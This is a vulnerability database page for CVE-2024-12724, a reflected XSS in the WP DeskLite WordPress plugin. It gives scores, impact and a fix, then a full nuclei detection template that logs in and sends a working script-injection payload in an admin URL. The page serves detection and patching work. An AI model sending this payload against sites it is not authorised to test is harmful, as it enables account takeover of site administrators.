HexBrain

Browse / CVEs / CVE-2024-12724

CVE-2024-12724· codeflock / wp desklite· CWE-79

WP DeskLite - Reflected XSS

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
48%of all CVEs are less likely
Readycheck to confirm it

WP DeskLite WordPress plugin through 1.0.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.

Impact

Attackers can execute scripts in admin users' browsers, potentially leading to account takeover or unauthorized actions.

Fix

Update to the latest version with proper input sanitization and escaping.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/edit.php?post_type=wpdl_ticket&"></script><script>alert(1)</script><script>=`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(1)</script><script>","wp-desklite")

Run it with nuclei: nuclei -id CVE-2024-12724 -u <target>

The full check
id: CVE-2024-12724

info:
  name: WP DeskLite - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP DeskLite WordPress plugin through 1.0.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to account takeover or unauthorized actions.
  remediation: |
    Update to the latest version with proper input sanitization and escaping.
  reference:
    - https://wpscan.com/vulnerability/9dd3ffaa-9020-47a6-bf9a-7e1412b9e9d5/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12724
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-12724
    cwe-id: CWE-79
    epss-score: 0.00579
    epss-percentile: 0.47994
    cpe: cpe:2.3:a:codeflock:wp_desklite:1.0.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: codeflock
    product: wp_desklite
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,wp-desklite,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=wpdl_ticket&"></script><script>alert(1)</script><script>=` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(1)</script><script>","wp-desklite")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from